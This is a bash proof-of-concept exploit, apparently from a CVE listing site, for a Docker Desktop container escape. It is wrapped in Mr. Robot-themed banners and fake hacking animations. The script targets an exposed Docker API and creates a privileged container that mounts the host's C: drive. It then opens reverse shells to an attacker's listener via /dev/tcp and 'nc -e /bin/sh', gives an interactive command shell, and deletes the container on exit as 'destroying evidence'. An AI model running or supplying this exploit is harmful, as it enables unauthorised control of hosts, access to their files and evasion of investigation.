4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / Fsociety-CVE-2025-9074_v.4.4.sh SH
#!/bin/bash

####################################################################
##         FSOCIETY-CVE-2025-9074 v4.4 (BASH)                     ##
##         CREADO POR: C0deGhost & The Architect (Final Polish)   ##
##         "Clean Exit & Full Verbose Parity."                    ##
##          WE ARE FSOCIETY_                                      ##
####################################################################

# ---[ PALETA DE COLORES FSOCIETY ]---
C_RESET='\033[0m'
C_RED='\033[1;31m'
C_GREEN='\033[1;32m'
C_YELLOW='\033[1;33m'
C_BLUE='\033[1;34m'
C_MAGENTA='\033[1;35m'
C_CYAN='\033[1;36m'
C_WHITE='\033[1;97m'
C_GRAY='\033[0;90m'
C_BOLD='\033[1m'
C_CRITICAL='\033[41;37;1m' 

# ---[ CONFIGURACIÓN DE IMÁGENES ]---
IMAGE_CLASSIC="docker_setup-nginx-php:latest"
IMAGE_ALPINE="alpine:latest"

# ---[ BANNER Y PRESENTACIÓN (v4.4) ]---
function print_banner() {
    # La F en rojo, SOCIETY en blanco
    echo -e "${C_RED}███████╗${C_WHITE}███████╗ ██████╗  ██████╗██╗███████╗████████╗██╗   ██╗"
    echo -e "${C_RED}██╔════╝${C_WHITE}██╔════╝██╔═══██╗██╔════╝██║██╔════╝╚══██╔══╝╚██╗ ██╔╝"
    echo -e "${C_RED}█████╗  ${C_WHITE}███████╗██║   ██║██║     ██║█████╗     ██║    ╚████╔╝"
    echo -e "${C_RED}██╔══╝  ${C_WHITE}╚════██║██║   ██║██║     ██║██╔══╝     ██║     ╚██╔╝" 
    echo -e "${C_RED}██║     ${C_WHITE}███████║╚██████╔╝╚██████╗██║███████╗   ██║      ██║"
    echo -e "${C_RED}╚═╝     ${C_WHITE}╚══════╝ ╚═════╝  ╚═════╝╚═╝╚══════╝   ╚═╝      ╚═╝"
    echo ""
    echo -e "${C_CYAN}VERSION 4.4 (Final Polish) ${C_GRAY}|| ${C_BLUE}Creator C0deGhost ${C_GRAY}|| ${C_RED}Critical Docker Desktop Container Escape${C_RESET}"
    echo -e "${C_YELLOW}----------------------------------------------------------------------${C_RESET}"
    echo -e "${C_RED}<Chat Mr. Robot@Fsociety:> ${C_GRAY}Dale un Arma un Hombre y Robara un Banco,"
    echo -e "${C_GRAY}Pero dale Conocimiento aun hombre y robara el mundo${C_RESET}"
    echo -e "${C_YELLOW}----------------------------------------------------------------------${C_RESET}"
    echo ""
}

# ---[ BANNER DE DESPEDIDA (v4.4 - CLEAN EXIT FIX) ]---
function print_goodbye() {
    clear # LIMPIEZA DE PANTALLA SOLICITADA
    echo -e "\n${C_GRAY}  ▄████  ▒█████   ▒█████  ▓█████▄  ▄▄▄▄ ▓██   ██▓▓█████ "
    echo -e " ██▒ ▀█▒▒██▒  ██▒▒██▒  ██▒▒██▀ ██▌▓█████▄▒██  ██▒▓█   ▀ "
    echo -e "▒██░▄▄▄░▒██░  ██▒▒██░  ██▒░██   █▌▒██▒ ▄██▒██ ██░▒███   "
    echo -e "░▓█  ██▓▒██   ██░▒██   ██░░▓█▄   ▌▒██░█▀  ░ ▐██▓░▒▓█  ▄ "
    echo -e "░▒▓███▀▒░ ████▓▒░░ ████▓▒░░▒████▓ ░▓█  ▀█▓░ ██▒▓░░▒████▒"
    echo -e " ░▒   ▒ ░ ▒░▒░▒░ ░ ▒░▒░▒░  ▒▒▓  ▒ ░▒▓███▀▒ ██▒▒▒ ░░ ▒░ ░"
    echo -e "  ░   ░   ░ ▒ ▒░   ░ ▒ ▒░  ░ ▒  ▒ ▒░▒   ░▓██ ░▒░  ░ ░  ░"
    echo -e "░ ░   ░ ░ ░ ░ ▒  ░ ░ ░ ▒   ░ ░  ░  ░    ░▒ ▒ ░░     ░   "
    echo -e "      ░     ░ ░      ░ ░     ░     ░     ░ ░        ░  ░${C_RESET}"
    echo -e "\n${C_GREEN}Mr. Robot>${C_RED} Our Democracy has been hacked_${C_RESET}"
    echo -e "${C_GREEN}Elliot>${C_RED} Good... Bye Friend_${C_RESET}"
}

# ---[ MOTOR DE ANIMACIONES CINEMATOGRÁFICAS (v4.4) ]---
function initial_loader() {
    clear
    print_banner
    echo -e "${C_CYAN}[*] INICIANDO FSOCIETY ENVIRONMENT...${C_RESET}"
    local statuses=("CARGANDO MÓDULOS DEL KERNEL" "INICIALIZANDO PROTOCOLOS DE EVASIÓN" "COMPILANDO EXPLOIT EN MEMORIA" "ESTABLECIENDO CONEXIÓN SEGURA")
    
    for i in {1..100}; do
        bar=$(for ((j=0; j<i/2; j++)); do echo -n "▓"; done)
        status_index=$((i / 25))
        echo -ne "${C_GREEN}${bar}${C_RESET}"
        printf " ${C_YELLOW}%d%%${C_RESET}" "$i"
        echo -ne " ${C_WHITE}[${statuses[status_index]}]...${C_RESET}"
        echo -ne "\r"
        sleep 0.04
    done
    echo -e "\n${C_GREEN}[+] Carga de Módulos Completada. Sistema Listo. 💻${C_RESET}\n"
    sleep 1
}

# Función principal de animación de fase
function cinematic_exploit_phase() {
    local phase_name=$1
    local duration=$2
    
    clear
    print_banner
    echo -e "${C_MAGENTA}======== [ ${phase_name} ] ========${C_RESET}"

    local statuses=("INJECTING SHELLCODE" "BYPASSING EDR" "ENCRYPTING PAYLOAD" "FORGING KERBEROS TICKET" "EVADING DETECTION" "ESCALATING PRIVILEGES" "NULL SESSION EXPLOIT" "HEAP SPRAYING")
    local emojis=("💉" "🛡️" "🔑" "🎟️" "👻" "👑" "💀" "💥")
    local fake_logs=("Estableciendo C2..." "Hooking syscalls..." "Memory mapping..." "Disabling security audit..." "Injecting into lsass.exe..." "Bypassing ASLR..." "Searching for ROP gadgets...")
    
    tput civis
    
    local sleep_time=$(awk "BEGIN {print $duration / 100}")

    for i in {1..100}; do
        progress=$((i / 2))
        bar=""
        for ((j=0; j<50; j++)); do
            if [ $j -lt $progress ]; then
                bar="${bar}="
            elif [ $j -eq $progress ]; then
                bar="${bar}>"
            else
                bar="${bar} "
            fi
        done

        status_index=$((i % ${#statuses[@]}))
        emoji_index=$((i % ${#emojis[@]}))
        log_index=$((i % ${#fake_logs[@]}))
        
        glitch_text="[▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓]"
        current_status="[${statuses[status_index]}]"
        
        if (( i % 9 == 0 )); then
            display_status="${C_RED}${glitch_text}${C_RESET}"
        else
            display_status="${C_WHITE}${current_status}${C_RESET}"
        fi

        printf "${C_GRAY}[LOG] %-30s ${C_GREEN}[%s] ${C_YELLOW}%d%% ${display_status} ${emojis[emoji_index]} \r" "${fake_logs[log_index]}" "$bar" "$i"
        
        sleep "$sleep_time"
    done
    tput cnorm

    echo -e "\n"
    echo -e "${C_GREEN}[✓] FASE COMPLETADA CON ÉXITO.${C_RESET}"
}

# ---[ FUNCIÓN DE IMPRESIÓN VERBOSE ]---
function print_verbose_block() {
    local title=$1
    local content=$2
    local type=$3 # INFO, CMD, SERVER, SUCCESS, CRITICAL

    if [[ "$VERBOSE_MODE" == "y" || "$VERBOSE_MODE" == "Y" ]]; then
        echo -e "\n${C_MAGENTA}======== [ MODE VERBOSE ACTIVE ] ========${C_RESET}"
        echo -e "${C_GRAY}// EXPLOTATION PROCESS //${C_RESET}"
        
        case $type in
            "INFO")
                echo -e "${C_CYAN}[INFO] ${title}${C_RESET}"
                echo -e "${C_WHITE}${content}${C_RESET}"
                ;;
            "CMD")
                echo -e "${C_RED}[CMD] EXECUTION:${C_RESET}"
                echo -e "${C_GRAY}${content}${C_RESET}"
                ;;
            "SERVER")
                echo -e "${C_YELLOW}[SERVER] RESPONSE RAW:${C_RESET}"
                echo -e "${C_YELLOW}----------------------------------------${C_RESET}"
                echo -e "${content}"
                echo -e "${C_YELLOW}----------------------------------------${C_RESET}"
                ;;
            "SUCCESS")
                echo -e "${C_GREEN}[SUCCESS] ${title}${C_RESET}"
                echo -e "${C_BOLD}${content}${C_RESET}"
                ;;
            "CRITICAL")
                echo -e "${C_CRITICAL}[CRITICAL ERROR] ${title}${C_RESET}"
                echo -e "${C_RED}${content}${C_RESET}"
                ;;
        esac
        
        echo -e "\n${C_GRAY}[*] Analizando datos... (Espere)${C_RESET}"
        sleep 7
    fi
}

# ---[ MÓDULO 1: REVERSE SHELL ]---
function mode_reverse_shell() {
    echo -e "${C_YELLOW}----------------------------------------------------------------------${C_RESET}"
    read -p "$(echo -e ${C_CYAN}"[?] Tu IP de escucha (LHOST): "${C_RESET})" LHOST
    read -p "$(echo -e ${C_CYAN}"[?] Tu Puerto de escucha (LPORT): "${C_RESET})" LPORT
    echo -e "${C_YELLOW}----------------------------------------------------------------------${C_RESET}"

    read -p "$(echo -e ${C_CYAN}"[?] ¿Activar modo Verbose? [Y/N]: "${C_RESET})" VERBOSE_MODE

    echo -e "\n${C_MAGENTA}============ [ RESUMEN DE LA MISIÓN ] ============${C_RESET}"
    echo -e "${C_WHITE}Objetivo Docker: ${C_YELLOW}${DOCKER_IP}:${DOCKER_PORT}${C_RESET}"
    echo -e "${C_WHITE}Callback Shell:  ${C_YELLOW}${LHOST}:${LPORT}${C_RESET}"
    echo -e "${C_WHITE}Imagen Payload:  ${C_YELLOW}${IMAGE_CLASSIC}${C_RESET}"
    echo -e "${C_WHITE}Conectividad:    ${C_GREEN}INTERNET ENABLED (DNS 8.8.8.8)${C_RESET}"
    echo -e "======================================================"

    read -p "$(echo -e ${C_RED}"<Exploit:Fsociety:>${C_RESET} Operador, El exploit está listo para ejecutarse, ¿Deseas continuar? [Y/N]: ")" confirm
    if [[ "$confirm" != "Y" && "$confirm" != "y" ]]; then
        echo -e "${C_RED}[!] Misión abortada por el operador.${C_RESET}"; exit 0
    fi

    while true; do
        read -p "$(echo -e ${C_RED}"<Exploit:Fsociety:>${C_RESET} Estás en modo de escucha en [${C_YELLOW}${LHOST}:${LPORT}${C_RESET}], por favor confirma: [Y/N]: ")" listen_confirm
        if [[ "$listen_confirm" == "Y" || "$listen_confirm" == "y" ]]; then break; fi
    done

    while true; do
        PAYLOAD_FILE="/tmp/fsociety_payload_$$.json"
        PAYLOAD=$(cat <<EOF
{
  "Image": "${IMAGE_CLASSIC}",
  "Cmd": ["/bin/bash", "-c", "bash -i >& /dev/tcp/${LHOST}/${LPORT} 0>&1"],
  "HostConfig": {
    "Binds": ["/run/desktop/mnt/host/c/:/mnt/windows"],
    "Privileged": true,
    "Dns": ["8.8.8.8", "1.1.1.1"],
    "NetworkMode": "bridge"
  }
}
EOF
)
        echo "$PAYLOAD" > "$PAYLOAD_FILE"
        
        cinematic_exploit_phase "FASE 1: PREPARACIÓN DE PAYLOAD" 5
        print_verbose_block "Generando Archivo JSON Malicioso" "$PAYLOAD" "INFO"

        CREATE_CMD="curl -s -X POST -H \"Content-Type: application/json\" --data @${PAYLOAD_FILE} http://${DOCKER_IP}:${DOCKER_PORT}/containers/create"
        RESPONSE_JSON=$(eval "$CREATE_CMD")
        CONTAINER_ID=$(echo "$RESPONSE_JSON" | grep -o '"Id":"[^"]*' | cut -d'"' -f4)
        
        cinematic_exploit_phase "FASE 2: CREANDO CONTENEDOR TROYANO" 5
        print_verbose_block "Ejecutando Inyección en API" "$CREATE_CMD" "CMD"
        print_verbose_block "Análisis de Respuesta" "$RESPONSE_JSON" "SERVER"

        if [[ -z "$CONTAINER_ID" ]]; then
            echo -e "${C_RED}[!] ERROR: No se pudo crear el contenedor. ¿Existe la imagen '${IMAGE_CLASSIC}' en el target?${C_RESET}"
            rm "$PAYLOAD_FILE"; return 1
        else
            print_verbose_block "ID Obtenido" "${CONTAINER_ID:0:12}" "SUCCESS"
        fi
        
        START_CMD="curl -s -X POST http://${DOCKER_IP}:${DOCKER_PORT}/containers/${CONTAINER_ID}/start"
        (eval "$START_CMD" &)
        
        cinematic_exploit_phase "FASE 3: INICIANDO CONTENEDOR [ID: ${CONTAINER_ID:0:12}...]" 5
        print_verbose_block "Triggering Payload Execution" "$START_CMD" "CMD"

        cinematic_exploit_phase "FASE 4: ENVIANDO REVERSE SHELL" 5
        print_verbose_block "Estado de Conexión" "Socket abierto hacia ${LHOST}:${LPORT}. Esperando callback..." "INFO"
        
        clear
        print_banner
        echo -e "${C_GREEN}[+] Payload enviado. La shell debería llegar a tu listener en cualquier momento.${C_RESET}"
        rm "$PAYLOAD_FILE"

        read -p "$(echo -e ${C_RED}"<Exploit:Fsociety:>${C_RESET} Operador, ¿has recibido una Shell? [Y/N]: ")" shell_received
        if [[ "$shell_received" == "Y" || "$shell_received" == "y" ]]; then
            echo -e "${C_GREEN}[+] ¡Misión cumplida! Desconectando del sistema...${C_RESET}"; break
        else
            read -p "$(echo -e ${C_YELLOW}"[!] Negativo. ¿Re-enviar payload? [Y/N]: "${C_RESET})" resend
            if [[ "$resend" == "Y" || "$resend" == "y" ]]; then
                echo -e "${C_RED}<Exploit:Fsociety:>${C_RESET} Recibido... Re-enviando la Shell..."
            else
                echo -e "${C_YELLOW}[*] El operador ha cancelado el re-envío. La shell puede estar corriendo en segundo plano.${C_RESET}"; break
            fi
        fi
    done
}

# ---[ MÓDULO 2: INTERACTIVE SHELL (VERBOSE FIXED) ]---
function mode_interactive_shell() {
    echo -e "${C_YELLOW}----------------------------------------------------------------------${C_RESET}"
    read -p "$(echo -e ${C_CYAN}"[?] ¿Activar modo Verbose? [Y/N]: "${C_RESET})" VERBOSE_MODE
    echo -e "${C_YELLOW}----------------------------------------------------------------------${C_RESET}"

    PAYLOAD_FILE="/tmp/fsociety_interactive_$$.json"
    PAYLOAD=$(cat <<EOF
{
  "Image": "${IMAGE_ALPINE}",
  "Cmd": ["/bin/sh", "-c", "tail -f /dev/null"],
  "HostConfig": {
    "Binds": ["/run/desktop/mnt/host/c/:/mnt/windows"],
    "Privileged": true,
    "Dns": ["8.8.8.8", "1.1.1.1"],
    "NetworkMode": "bridge"
  }
}
EOF
)
    echo "$PAYLOAD" > "$PAYLOAD_FILE"

    # [FIX] FASE 1 - VERBOSE IMPLEMENTADO
    cinematic_exploit_phase "FASE 1: PREPARACIÓN DE PAYLOAD" 5
    print_verbose_block "Payload Alpine Persistente" "$PAYLOAD" "INFO"

    CREATE_CMD="curl -s -X POST -H \"Content-Type: application/json\" --data @${PAYLOAD_FILE} http://${DOCKER_IP}:${DOCKER_PORT}/containers/create"
    RESPONSE_JSON=$(eval "$CREATE_CMD")
    CONTAINER_ID=$(echo "$RESPONSE_JSON" | grep -o '"Id":"[^"]*' | cut -d'"' -f4)
    rm "$PAYLOAD_FILE"
    
    # [FIX] FASE 2 - VERBOSE IMPLEMENTADO
    cinematic_exploit_phase "FASE 2: CREANDO CONTENEDOR SIGILOSO" 5
    print_verbose_block "Petición de Creación" "$CREATE_CMD" "CMD"
    print_verbose_block "Respuesta del Demonio Docker" "$RESPONSE_JSON" "SERVER"

    if [[ -z "$CONTAINER_ID" ]]; then
        echo -e "${C_RED}[!] Error creando contenedor base. Verifica que '${IMAGE_ALPINE}' exista.${C_RESET}"
        return 1
    else
        print_verbose_block "Contenedor Asegurado" "${CONTAINER_ID:0:12}" "SUCCESS"
    fi

    # Iniciar el contenedor
    START_CMD="curl -s -X POST http://${DOCKER_IP}:${DOCKER_PORT}/containers/${CONTAINER_ID}/start"
    (eval "$START_CMD" &)
    
    # [FIX] FASE 3 - VERBOSE IMPLEMENTADO
    cinematic_exploit_phase "FASE 3: ACTIVANDO CONTENEDOR" 5
    print_verbose_block "Iniciando proceso fantasma" "$START_CMD" "CMD"
    
    clear
    print_banner
    SHORT_ID=${CONTAINER_ID:0:12}
    echo -e "${C_GREEN}[+] Contenedor Interactivo Activo: ${C_WHITE}$SHORT_ID${C_RESET}"
    echo -e "${C_GREEN}[+] Conectividad: ${C_WHITE}Internet Habilitado (DNS 8.8.8.8)${C_RESET}"
    echo -e "${C_YELLOW}[!] Escribe 'exit' para destruir el contenedor y salir.${C_RESET}"
    echo -e "${C_YELLOW}[!] Escribe 'info' para ver el Dashboard del Contenedor.${C_RESET}"
    echo -e "${C_YELLOW}[!] Escribe 'revshell <ip> <port>' para disparar una shell desde Alpine.${C_RESET}"
    
    # Bucle de Shell Interactiva
    while true; do
        read -p "$(echo -e ${C_RED}"<Exploit@Fsociet:-${SHORT_ID}> "${C_RESET})" CMD
        
        if [[ "$CMD" == "exit" ]]; then
            echo -e "${C_YELLOW}[*] Destruyendo evidencia...${C_RESET}"
            curl -s -X POST "http://${DOCKER_IP}:${DOCKER_PORT}/containers/${CONTAINER_ID}/kill" > /dev/null
            curl -s -X DELETE "http://${DOCKER_IP}:${DOCKER_PORT}/containers/${CONTAINER_ID}" > /dev/null
            break
        fi

        if [[ "$CMD" == revshell* ]]; then
            read -r _ R_IP R_PORT <<< "$CMD"
            if [[ -z "$R_IP" || -z "$R_PORT" ]]; then
                echo -e "${C_RED}[!] Uso incorrecto. Sintaxis: revshell <ip> <puerto>${C_RESET}"
                continue
            fi
            echo -e "${C_YELLOW}[*] Disparando Netcat Reverse Shell a ${R_IP}:${R_PORT}...${C_RESET}"
            REV_PAYLOAD="{\"AttachStdout\": false, \"AttachStderr\": false, \"Tty\": false, \"Cmd\": [\"/bin/sh\", \"-c\", \"nc ${R_IP} ${R_PORT} -e /bin/sh\"]}"
            REV_EXEC_RESP=$(curl -s -X POST -H "Content-Type: application/json" --data "$REV_PAYLOAD" "http://${DOCKER_IP}:${DOCKER_PORT}/containers/${CONTAINER_ID}/exec")
            REV_EXEC_ID=$(echo "$REV_EXEC_RESP" | grep -o '"Id":"[^"]*' | cut -d'"' -f4)
            if [[ -n "$REV_EXEC_ID" ]]; then
                curl -s -X POST -H "Content-Type: application/json" --data '{"Detach": true, "Tty": false}' "http://${DOCKER_IP}:${DOCKER_PORT}/exec/${REV_EXEC_ID}/start" > /dev/null
                echo -e "${C_GREEN}[+] Shell enviada en segundo plano. Revisa tu listener.${C_RESET}"
            else
                echo -e "${C_RED}[!] Fallo al crear la instancia de reverse shell.${C_RESET}"
            fi
            continue
        fi

        if [[ "$CMD" == "info" ]]; then
            echo -e "${C_GREEN}┌──(Container Intelligence Dashboard)${C_RESET}"
            RAW_JSON=$(curl -s -X GET "http://${DOCKER_IP}:${DOCKER_PORT}/containers/${CONTAINER_ID}/json")
            ID_VAL=$(echo "$RAW_JSON" | grep -o '"Id":"[^"]*"' | head -n1 | cut -d'"' -f4)
            IMG_VAL=$(echo "$RAW_JSON" | grep -o '"Image":"[^"]*"' | cut -d'"' -f4 | grep -v "sha256" | head -n1)
            if [[ -z "$IMG_VAL" ]]; then
                 IMG_VAL=$(echo "$RAW_JSON" | grep -o '"Config":{.*"Image":"[^"]*"' | sed 's/.*"Image":"\([^"]*\)".*/\1/')
            fi
            STATUS_VAL=$(echo "$RAW_JSON" | grep -o '"Status":"[^"]*"' | head -n1 | cut -d'"' -f4)
            IP_VAL=$(echo "$RAW_JSON" | grep -o '"IPAddress":"[^"]*"' | head -n1 | cut -d'"' -f4)
            IS_PRIV=$(echo "$RAW_JSON" | grep -o '"Privileged":true')
            if [[ -n "$IS_PRIV" ]]; then
                PRIV_VAL="${C_CRITICAL} TRUE (CRITICAL) ${C_RESET}"
            else
                PRIV_VAL="${C_GREEN}FALSE${C_RESET}"
            fi
            echo -e "${C_CYAN}  [*] ID Full    :${C_RESET} ${ID_VAL}"
            echo -e "${C_CYAN}  [*] Image      :${C_RESET} ${IMG_VAL}"
            echo -e "${C_CYAN}  [*] Status     :${C_RESET} ${STATUS_VAL}"
            echo -e "${C_CYAN}  [*] IP Address :${C_RESET} ${IP_VAL}"
            echo -e "${C_CYAN}  [*] Privileged :${C_RESET} ${PRIV_VAL}"
            echo -e "\n${C_RED}  [!] MOUNT POINTS (ESCAPE VECTORS):${C_RESET}"
            MOUNTS=$(echo "$RAW_JSON" | grep -o '"Source":"[^"]*","Destination":"[^"]*"' | sed 's/"Source":"//g' | sed 's/","Destination":"/ --> /g' | sed 's/"//g')
            if [[ -z "$MOUNTS" ]]; then
                echo -e "      ${C_GRAY}No mounts detected.${C_RESET}"
            else
                while IFS= read -r line; do
                    echo -e "      ${C_YELLOW}[+] $line${C_RESET}"
                done <<< "$MOUNTS"
            fi
            echo -e "${C_GREEN}└────────────────────────────────────${C_RESET}"
            continue
        fi

        if [[ -z "$CMD" ]]; then continue; fi

        SAFE_CMD=$(echo "$CMD" | sed 's/"/\\"/g')
        EXEC_PAYLOAD="{\"AttachStdout\": true, \"AttachStderr\": true, \"Tty\": false, \"Cmd\": [\"/bin/sh\", \"-c\", \"$SAFE_CMD\"]}"
        EXEC_RESPONSE=$(curl -s -X POST -H "Content-Type: application/json" --data "$EXEC_PAYLOAD" "http://${DOCKER_IP}:${DOCKER_PORT}/containers/${CONTAINER_ID}/exec")
        EXEC_ID=$(echo "$EXEC_RESPONSE" | grep -o '"Id":"[^"]*' | cut -d'"' -f4)
        if [[ -n "$EXEC_ID" ]]; then
            echo -e "${C_GREEN}┌──(Output)${C_RESET}"
            curl -s -X POST -H "Content-Type: application/json" --data '{"Detach": false, "Tty": false}' "http://${DOCKER_IP}:${DOCKER_PORT}/exec/${EXEC_ID}/start" | tr -d '\000-\011\013-\037' 
            echo -e "\n${C_GREEN}└──────────────────────${C_RESET}"
        else
            echo -e "${C_RED}[!] Error al crear instancia de ejecución.${C_RESET}"
        fi
    done
}

# ---[ MOTOR PRINCIPAL ]---
function main() {
    initial_loader

    echo -e "${C_MAGENTA}============ [ CONFIGURACIÓN DEL ASALTO ] ============${C_RESET}"
    read -p "$(echo -e ${C_CYAN}"[?] IP del Host Docker [def: 192.168.65.7]: "${C_RESET})" DOCKER_IP
    DOCKER_IP=${DOCKER_IP:-192.168.65.7}

    read -p "$(echo -e ${C_CYAN}"[?] Puerto de la API Docker [def: 2375]: "${C_RESET})" DOCKER_PORT
    DOCKER_PORT=${DOCKER_PORT:-2375}

    echo -e "${C_GRAY}[*] Verificando conectividad con el objetivo...${C_RESET}"
    HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" http://${DOCKER_IP}:${DOCKER_PORT}/version)
    
    if [[ "$HTTP_CODE" != "200" ]]; then
        echo -e "${C_RED}[!] NO SE PUEDE CONECTAR AL OBJETIVO (${DOCKER_IP}:${DOCKER_PORT}). Abortando.${C_RESET}"
        exit 1
    else
        echo -e "${C_GREEN}[✓] Objetivo Online. API Docker expuesta detectada.${C_RESET}"
    fi

    echo -e "\n${C_MAGENTA}============ [ SELECCIÓN DE VECTOR ] ============${C_RESET}"
    echo -e "${C_WHITE}[1]${C_RESET} ${C_YELLOW}Reverse Shell${C_RESET} (Clásico, Payload Pesado + Privilegios + Internet)"
    echo -e "${C_WHITE}[2]${C_RESET} ${C_YELLOW}Interactive Shell${C_RESET} (Alpine, Ligero + 'revshell' + Internet)"
    echo -e "================================================="
    
    read -p "$(echo -e ${C_RED}"<Exploit:Fsociety:>${C_RESET} Selecciona opción [1/2]: ")" OPTION

    case $OPTION in
        1)
            mode_reverse_shell
            ;;
        2)
            mode_interactive_shell
            ;;
        *)
            echo -e "${C_RED}[!] Opción inválida.${C_RESET}"
            exit 1
            ;;
    esac
}

# ---[ PUNTO DE ENTRADA ]---
main
print_goodbye

# Hello.. Friend.
# I See, Looking Code..
# Good... Welcome.
# Please.. Leave the .dat file, In the system, a hint from Fsociety: "fsociety00.dat"
# Good Bye..

# Dominate All Ecosystem. - Mr. Robot